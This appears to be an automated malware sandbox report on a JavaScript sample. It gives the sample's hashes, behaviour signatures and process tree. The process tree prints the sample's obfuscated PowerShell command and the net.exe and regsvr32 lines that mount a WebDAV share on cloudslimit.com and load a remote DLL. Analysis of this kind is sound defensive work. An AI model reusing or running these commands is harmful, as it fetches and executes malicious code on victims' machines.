Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
133s -
max time network
121s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25/07/2024, 18:08
Static task
static1
Behavioral task
behavioral1
Sample
14346136251213330116.js
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
14346136251213330116.js
Resource
win10v2004-20240709-en
General
-
Target
14346136251213330116.js
-
Size
19KB
-
MD5
02f07ca2656e7ddbdae19db39b607a1a
-
SHA1
e8fa3627b573e79e4485984f377b0e9b7173524d
-
SHA256
2cfb470c0252f40847a7603acf9d3a1172149686282c3d47c36b1fafb000d801
-
SHA512
ff207165a4bed030a14620a78c9b486e7c2f27764f2e1d48643058c41f62bb497826d12fe8881e9a01b38605f7ccb7563639d8e5fcc44850444e81b5f0c0f5cb
-
SSDEEP
384:hPt6ntB3FIWe+0RyX9OFpZcSPb4JZSDyGM:7EtteYB
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation wscript.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1468 powershell.exe 1468 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1468 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3684 wrote to memory of 1468 3684 wscript.exe 84 PID 3684 wrote to memory of 1468 3684 wscript.exe 84 PID 1468 wrote to memory of 3932 1468 powershell.exe 86 PID 1468 wrote to memory of 3932 1468 powershell.exe 86 PID 1468 wrote to memory of 4772 1468 powershell.exe 87 PID 1468 wrote to memory of 4772 1468 powershell.exe 87
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\14346136251213330116.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3684 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADYAOAAyADQAMgAyADkANQAzADIANQA1ADQALgBkAGwAbAA=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\3⤵PID:3932
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\26824229532554.dll3⤵PID:4772
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82